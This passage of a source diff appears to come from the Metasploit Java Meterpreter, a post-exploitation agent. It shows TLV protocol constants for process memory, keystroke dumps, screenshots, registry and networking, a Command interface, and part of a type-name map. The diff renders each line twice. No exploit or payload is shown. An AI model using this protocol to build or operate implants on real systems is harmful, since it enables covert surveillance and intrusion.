public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002; public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002;
public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003; public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003;
public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004; public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004;
public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2005; public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2005;
public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006; public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006;
public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007; public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007;
public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008; public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008;
public static final int TLV_TYPE_PID = TLVPacket.TLV_META_TYPE_UINT | 2300; public static final int TLV_TYPE_PID = TLVPacket.TLV_META_TYPE_UINT | 2300;
public static final int TLV_TYPE_PROCESS_NAME = TLVPacket.TLV_META_TYPE_STRING | 2301; public static final int TLV_TYPE_PROCESS_NAME = TLVPacket.TLV_META_TYPE_STRING | 2301;
public static final int TLV_TYPE_PROCESS_PATH = TLVPacket.TLV_META_TYPE_STRING | 2302; public static final int TLV_TYPE_PROCESS_PATH = TLVPacket.TLV_META_TYPE_STRING | 2302;
public static final int TLV_TYPE_PROCESS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2303; public static final int TLV_TYPE_PROCESS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2303;
public static final int TLV_TYPE_PROCESS_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2304; public static final int TLV_TYPE_PROCESS_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2304;
public static final int TLV_TYPE_PROCESS_ARGUMENTS = TLVPacket.TLV_META_TYPE_STRING | 2305; public static final int TLV_TYPE_PROCESS_ARGUMENTS = TLVPacket.TLV_META_TYPE_STRING | 2305;
public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400; public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400;
public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401; public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401;
public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402; public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402;
public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2403; public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2403;
public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_QWORD | 2404; public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_QWORD | 2404;
public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405; public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405;
public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406; public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406;
public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500; public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500;
public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502; public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502;
public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510; public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510;
public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_QWORD | 2511; public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_QWORD | 2511;
public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_QWORD | 2512; public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_QWORD | 2512;
public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513; public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513;
public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540; public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540;
public static final int TLV_TYPE_REGISTER_SIZE = TLVPacket.TLV_META_TYPE_UINT | 2541; public static final int TLV_TYPE_REGISTER_SIZE = TLVPacket.TLV_META_TYPE_UINT | 2541;
public static final int TLV_TYPE_REGISTER_VALUE_32 = TLVPacket.TLV_META_TYPE_UINT | 2542; public static final int TLV_TYPE_REGISTER_VALUE_32 = TLVPacket.TLV_META_TYPE_UINT | 2542;
public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550; public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550;
// Ui // Ui
public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000; public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000;
public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001; public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001;
public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002; public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002;
// Event Log // Event Log
public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000; public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000;
public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 4001; public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 4001;
public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002; public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002;
public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003; public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003;
public static final int TLV_TYPE_EVENT_RECORDOFFSET = TLVPacket.TLV_META_TYPE_UINT | 4004; public static final int TLV_TYPE_EVENT_RECORDOFFSET = TLVPacket.TLV_META_TYPE_UINT | 4004;
public static final int TLV_TYPE_EVENT_RECORDNUMBER = TLVPacket.TLV_META_TYPE_UINT | 4006; public static final int TLV_TYPE_EVENT_RECORDNUMBER = TLVPacket.TLV_META_TYPE_UINT | 4006;
public static final int TLV_TYPE_EVENT_TIMEGENERATED = TLVPacket.TLV_META_TYPE_UINT | 4007; public static final int TLV_TYPE_EVENT_TIMEGENERATED = TLVPacket.TLV_META_TYPE_UINT | 4007;
public static final int TLV_TYPE_EVENT_TIMEWRITTEN = TLVPacket.TLV_META_TYPE_UINT | 4008; public static final int TLV_TYPE_EVENT_TIMEWRITTEN = TLVPacket.TLV_META_TYPE_UINT | 4008;
public static final int TLV_TYPE_EVENT_ID = TLVPacket.TLV_META_TYPE_UINT | 4009; public static final int TLV_TYPE_EVENT_ID = TLVPacket.TLV_META_TYPE_UINT | 4009;
public static final int TLV_TYPE_EVENT_TYPE = TLVPacket.TLV_META_TYPE_UINT | 4010; public static final int TLV_TYPE_EVENT_TYPE = TLVPacket.TLV_META_TYPE_UINT | 4010;
public static final int TLV_TYPE_EVENT_CATEGORY = TLVPacket.TLV_META_TYPE_UINT | 4011; public static final int TLV_TYPE_EVENT_CATEGORY = TLVPacket.TLV_META_TYPE_UINT | 4011;
public static final int TLV_TYPE_EVENT_STRING = TLVPacket.TLV_META_TYPE_STRING | 4012; public static final int TLV_TYPE_EVENT_STRING = TLVPacket.TLV_META_TYPE_STRING | 4012;
public static final int TLV_TYPE_EVENT_DATA = TLVPacket.TLV_META_TYPE_RAW | 4013; public static final int TLV_TYPE_EVENT_DATA = TLVPacket.TLV_META_TYPE_RAW | 4013;
// Power // Power
public static final int TLV_TYPE_POWER_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 4100; public static final int TLV_TYPE_POWER_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 4100;
public static final int TLV_TYPE_POWER_REASON = TLVPacket.TLV_META_TYPE_UINT | 4101; public static final int TLV_TYPE_POWER_REASON = TLVPacket.TLV_META_TYPE_UINT | 4101;
// Screenshot // Screenshot
public static final int TLV_TYPE_DESKTOP_SCREENSHOT = TLVPacket.TLV_META_TYPE_RAW | 3002; public static final int TLV_TYPE_DESKTOP_SCREENSHOT = TLVPacket.TLV_META_TYPE_RAW | 3002;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY = TLVPacket.TLV_META_TYPE_UINT | 3008; public static final int TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY = TLVPacket.TLV_META_TYPE_UINT | 3008;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3009; public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3009;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3010; public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3010;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3011; public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3011;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3012; public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3012;
} }

@ -6,33 +6,29 @@ import com.metasploit.meterpreter.TLVPacket;
/** /**
* A command that can be executed inside meterpreter. Each command has a name and can be registered using the {@link CommandManager#registerCommand(String, Class)} command. * A command that can be executed inside meterpreter. Each command has a name and can be registered using the {@link CommandManager#registerCommand(String, Class)} command.
* *
* @author mihi * @author mihi
*/ */
public interface Command { public interface Command {
/** /**
* Status code representing a successful run of the command. * Status code representing a successful run of the command.
*/ */
public static final int ERROR_SUCCESS = 0; public static final int ERROR_SUCCESS = 0;
/** /**
* Status code representing a failed run of the command. * Status code representing a failed run of the command.
*/ */
public static final int ERROR_FAILURE = 1; public static final int ERROR_FAILURE = 1;
/** /**
* Execute this command. * Execute this command.
* *
* @param request * @param request request packet
* request packet * @param response response packet
* @param response * @param errorStream Stream to write errors to
* response packet * @return a status code (usually {@link #ERROR_SUCCESS} or {@link ERROR_FAILURE})
* @param errorStream * @throws any exception, which will be mapped to an error stream output and an {@link ERROR_FAILURE} status code.
* Stream to write errors to */
* @return a status code (usually {@link #ERROR_SUCCESS} or {@link ERROR_FAILURE}) public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception;
* @throws any
* exception, which will be mapped to an error stream output and an {@link ERROR_FAILURE} status code.
*/
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception;
} }

@ -11,168 +11,168 @@ import com.metasploit.meterpreter.TLVType;
/** /**
* A command that represents a command that is not yet implemented. It will dump the complete request packet to the error stream and return {@link Command#ERROR_FAILURE}. * A command that represents a command that is not yet implemented. It will dump the complete request packet to the error stream and return {@link Command#ERROR_FAILURE}.
* *
* @author mihi * @author mihi
*/ */
public class NotYetImplementedCommand implements Command { public class NotYetImplementedCommand implements Command {
public static final NotYetImplementedCommand INSTANCE = new NotYetImplementedCommand(); public static final NotYetImplementedCommand INSTANCE = new NotYetImplementedCommand();
private Map/* <Integer,String> */typeNames = new HashMap(); private Map/* <Integer,String> */typeNames = new HashMap();
private NotYetImplementedCommand() { private NotYetImplementedCommand() {
typeNames.put(new Integer(TLVType.TLV_TYPE_ANY), "TLV_TYPE_ANY"); typeNames.put(new Integer(TLVType.TLV_TYPE_ANY), "TLV_TYPE_ANY");
typeNames.put(new Integer(TLVType.TLV_TYPE_METHOD), "TLV_TYPE_METHOD"); typeNames.put(new Integer(TLVType.TLV_TYPE_METHOD), "TLV_TYPE_METHOD");
typeNames.put(new Integer(TLVType.TLV_TYPE_REQUEST_ID), "TLV_TYPE_REQUEST_ID"); typeNames.put(new Integer(TLVType.TLV_TYPE_REQUEST_ID), "TLV_TYPE_REQUEST_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION), "TLV_TYPE_EXCEPTION"); typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION), "TLV_TYPE_EXCEPTION");
typeNames.put(new Integer(TLVType.TLV_TYPE_RESULT), "TLV_TYPE_RESULT"); typeNames.put(new Integer(TLVType.TLV_TYPE_RESULT), "TLV_TYPE_RESULT");
typeNames.put(new Integer(TLVType.TLV_TYPE_STRING), "TLV_TYPE_STRING"); typeNames.put(new Integer(TLVType.TLV_TYPE_STRING), "TLV_TYPE_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_UINT), "TLV_TYPE_UINT"); typeNames.put(new Integer(TLVType.TLV_TYPE_UINT), "TLV_TYPE_UINT");
typeNames.put(new Integer(TLVType.TLV_TYPE_BOOL), "TLV_TYPE_BOOL"); typeNames.put(new Integer(TLVType.TLV_TYPE_BOOL), "TLV_TYPE_BOOL");
typeNames.put(new Integer(TLVType.TLV_TYPE_LENGTH), "TLV_TYPE_LENGTH"); typeNames.put(new Integer(TLVType.TLV_TYPE_LENGTH), "TLV_TYPE_LENGTH");
typeNames.put(new Integer(TLVType.TLV_TYPE_DATA), "TLV_TYPE_DATA"); typeNames.put(new Integer(TLVType.TLV_TYPE_DATA), "TLV_TYPE_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_FLAGS), "TLV_TYPE_FLAGS"); typeNames.put(new Integer(TLVType.TLV_TYPE_FLAGS), "TLV_TYPE_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_ID), "TLV_TYPE_CHANNEL_ID"); typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_ID), "TLV_TYPE_CHANNEL_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_TYPE), "TLV_TYPE_CHANNEL_TYPE"); typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_TYPE), "TLV_TYPE_CHANNEL_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA), "TLV_TYPE_CHANNEL_DATA"); typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA), "TLV_TYPE_CHANNEL_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA_GROUP), "TLV_TYPE_CHANNEL_DATA_GROUP"); typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA_GROUP), "TLV_TYPE_CHANNEL_DATA_GROUP");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_CLASS), "TLV_TYPE_CHANNEL_CLASS"); typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_CLASS), "TLV_TYPE_CHANNEL_CLASS");
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_WHENCE), "TLV_TYPE_SEEK_WHENCE"); typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_WHENCE), "TLV_TYPE_SEEK_WHENCE");
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_OFFSET), "TLV_TYPE_SEEK_OFFSET"); typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_OFFSET), "TLV_TYPE_SEEK_OFFSET");
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_POS), "TLV_TYPE_SEEK_POS"); typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_POS), "TLV_TYPE_SEEK_POS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_CODE), "TLV_TYPE_EXCEPTION_CODE"); typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_CODE), "TLV_TYPE_EXCEPTION_CODE");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_STRING), "TLV_TYPE_EXCEPTION_STRING"); typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_STRING), "TLV_TYPE_EXCEPTION_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_LIBRARY_PATH), "TLV_TYPE_LIBRARY_PATH"); typeNames.put(new Integer(TLVType.TLV_TYPE_LIBRARY_PATH), "TLV_TYPE_LIBRARY_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_TARGET_PATH), "TLV_TYPE_TARGET_PATH"); typeNames.put(new Integer(TLVType.TLV_TYPE_TARGET_PATH), "TLV_TYPE_TARGET_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_PID), "TLV_TYPE_MIGRATE_PID"); typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_PID), "TLV_TYPE_MIGRATE_PID");
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_LEN), "TLV_TYPE_MIGRATE_LEN"); typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_LEN), "TLV_TYPE_MIGRATE_LEN");
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_NAME), "TLV_TYPE_CIPHER_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_NAME), "TLV_TYPE_CIPHER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_PARAMETERS), "TLV_TYPE_CIPHER_PARAMETERS"); typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_PARAMETERS), "TLV_TYPE_CIPHER_PARAMETERS");
typeNames.put(new Integer(TLVType.TLV_TYPE_HANDLE), "TLV_TYPE_HANDLE"); typeNames.put(new Integer(TLVType.TLV_TYPE_HANDLE), "TLV_TYPE_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_INHERIT), "TLV_TYPE_INHERIT"); typeNames.put(new Integer(TLVType.TLV_TYPE_INHERIT), "TLV_TYPE_INHERIT");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_HANDLE), "TLV_TYPE_PROCESS_HANDLE"); typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_HANDLE), "TLV_TYPE_PROCESS_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_HANDLE), "TLV_TYPE_THREAD_HANDLE"); typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_HANDLE), "TLV_TYPE_THREAD_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_DIRECTORY_PATH), "TLV_TYPE_DIRECTORY_PATH"); typeNames.put(new Integer(TLVType.TLV_TYPE_DIRECTORY_PATH), "TLV_TYPE_DIRECTORY_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_NAME), "TLV_TYPE_FILE_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_NAME), "TLV_TYPE_FILE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_PATH), "TLV_TYPE_FILE_PATH"); typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_PATH), "TLV_TYPE_FILE_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_MODE), "TLV_TYPE_FILE_MODE"); typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_MODE), "TLV_TYPE_FILE_MODE");
typeNames.put(new Integer(TLVType.TLV_TYPE_STAT_BUF), "TLV_TYPE_STAT_BUF"); typeNames.put(new Integer(TLVType.TLV_TYPE_STAT_BUF), "TLV_TYPE_STAT_BUF");
typeNames.put(new Integer(TLVType.TLV_TYPE_HOST_NAME), "TLV_TYPE_HOST_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_HOST_NAME), "TLV_TYPE_HOST_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_PORT), "TLV_TYPE_PORT"); typeNames.put(new Integer(TLVType.TLV_TYPE_PORT), "TLV_TYPE_PORT");
typeNames.put(new Integer(TLVType.TLV_TYPE_MTU), "TLV_TYPE_MTU"); typeNames.put(new Integer(TLVType.TLV_TYPE_MTU), "TLV_TYPE_MTU");
typeNames.put(new Integer(TLVType.TLV_TYPE_INTERFACE_INDEX), "TLV_TYPE_INTERFACE_INDEX"); typeNames.put(new Integer(TLVType.TLV_TYPE_INTERFACE_INDEX), "TLV_TYPE_INTERFACE_INDEX");
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET), "TLV_TYPE_SUBNET"); typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET), "TLV_TYPE_SUBNET");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK), "TLV_TYPE_NETMASK"); typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK), "TLV_TYPE_NETMASK");
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY), "TLV_TYPE_GATEWAY"); typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY), "TLV_TYPE_GATEWAY");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_ROUTE), "TLV_TYPE_NETWORK_ROUTE"); typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_ROUTE), "TLV_TYPE_NETWORK_ROUTE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IP_PREFIX), "TLV_TYPE_IP_PREFIX"); typeNames.put(new Integer(TLVType.TLV_TYPE_IP_PREFIX), "TLV_TYPE_IP_PREFIX");
typeNames.put(new Integer(TLVType.TLV_TYPE_IP), "TLV_TYPE_IP"); typeNames.put(new Integer(TLVType.TLV_TYPE_IP), "TLV_TYPE_IP");
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_ADDRESS), "TLV_TYPE_MAC_ADDRESS"); typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_ADDRESS), "TLV_TYPE_MAC_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_NAME), "TLV_TYPE_MAC_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_NAME), "TLV_TYPE_MAC_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_INTERFACE), "TLV_TYPE_NETWORK_INTERFACE"); typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_INTERFACE), "TLV_TYPE_NETWORK_INTERFACE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IP6_SCOPE), "TLV_TYPE_IP6_SCOPE"); typeNames.put(new Integer(TLVType.TLV_TYPE_IP6_SCOPE), "TLV_TYPE_IP6_SCOPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET_STRING), "TLV_TYPE_SUBNET_STRING"); typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET_STRING), "TLV_TYPE_SUBNET_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK_STRING), "TLV_TYPE_NETMASK_STRING"); typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK_STRING), "TLV_TYPE_NETMASK_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY_STRING), "TLV_TYPE_GATEWAY_STRING"); typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY_STRING), "TLV_TYPE_GATEWAY_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_HOST), "TLV_TYPE_PEER_HOST"); typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_HOST), "TLV_TYPE_PEER_HOST");
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_PORT), "TLV_TYPE_PEER_PORT"); typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_PORT), "TLV_TYPE_PEER_PORT");
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_HOST), "TLV_TYPE_LOCAL_HOST"); typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_HOST), "TLV_TYPE_LOCAL_HOST");
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_PORT), "TLV_TYPE_LOCAL_PORT"); typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_PORT), "TLV_TYPE_LOCAL_PORT");
typeNames.put(new Integer(TLVType.TLV_TYPE_CONNECT_RETRIES), "TLV_TYPE_CONNECT_RETRIES"); typeNames.put(new Integer(TLVType.TLV_TYPE_CONNECT_RETRIES), "TLV_TYPE_CONNECT_RETRIES");
typeNames.put(new Integer(TLVType.TLV_TYPE_SHUTDOWN_HOW), "TLV_TYPE_SHUTDOWN_HOW"); typeNames.put(new Integer(TLVType.TLV_TYPE_SHUTDOWN_HOW), "TLV_TYPE_SHUTDOWN_HOW");
typeNames.put(new Integer(TLVType.TLV_TYPE_HKEY), "TLV_TYPE_HKEY"); typeNames.put(new Integer(TLVType.TLV_TYPE_HKEY), "TLV_TYPE_HKEY");
typeNames.put(new Integer(TLVType.TLV_TYPE_ROOT_KEY), "TLV_TYPE_ROOT_KEY"); typeNames.put(new Integer(TLVType.TLV_TYPE_ROOT_KEY), "TLV_TYPE_ROOT_KEY");
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_KEY), "TLV_TYPE_BASE_KEY"); typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_KEY), "TLV_TYPE_BASE_KEY");
typeNames.put(new Integer(TLVType.TLV_TYPE_PERMISSION), "TLV_TYPE_PERMISSION"); typeNames.put(new Integer(TLVType.TLV_TYPE_PERMISSION), "TLV_TYPE_PERMISSION");
typeNames.put(new Integer(TLVType.TLV_TYPE_KEY_NAME), "TLV_TYPE_KEY_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_KEY_NAME), "TLV_TYPE_KEY_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_NAME), "TLV_TYPE_VALUE_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_NAME), "TLV_TYPE_VALUE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_TYPE), "TLV_TYPE_VALUE_TYPE"); typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_TYPE), "TLV_TYPE_VALUE_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_DATA), "TLV_TYPE_VALUE_DATA"); typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_DATA), "TLV_TYPE_VALUE_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_COMPUTER_NAME), "TLV_TYPE_COMPUTER_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_COMPUTER_NAME), "TLV_TYPE_COMPUTER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_OS_NAME), "TLV_TYPE_OS_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_OS_NAME), "TLV_TYPE_OS_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_USER_NAME), "TLV_TYPE_USER_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_USER_NAME), "TLV_TYPE_USER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_ADDRESS), "TLV_TYPE_BASE_ADDRESS"); typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_ADDRESS), "TLV_TYPE_BASE_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOCATION_TYPE), "TLV_TYPE_ALLOCATION_TYPE"); typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOCATION_TYPE), "TLV_TYPE_ALLOCATION_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROTECTION), "TLV_TYPE_PROTECTION"); typeNames.put(new Integer(TLVType.TLV_TYPE_PROTECTION), "TLV_TYPE_PROTECTION");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PERMS), "TLV_TYPE_PROCESS_PERMS"); typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PERMS), "TLV_TYPE_PROCESS_PERMS");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_MEMORY), "TLV_TYPE_PROCESS_MEMORY"); typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_MEMORY), "TLV_TYPE_PROCESS_MEMORY");
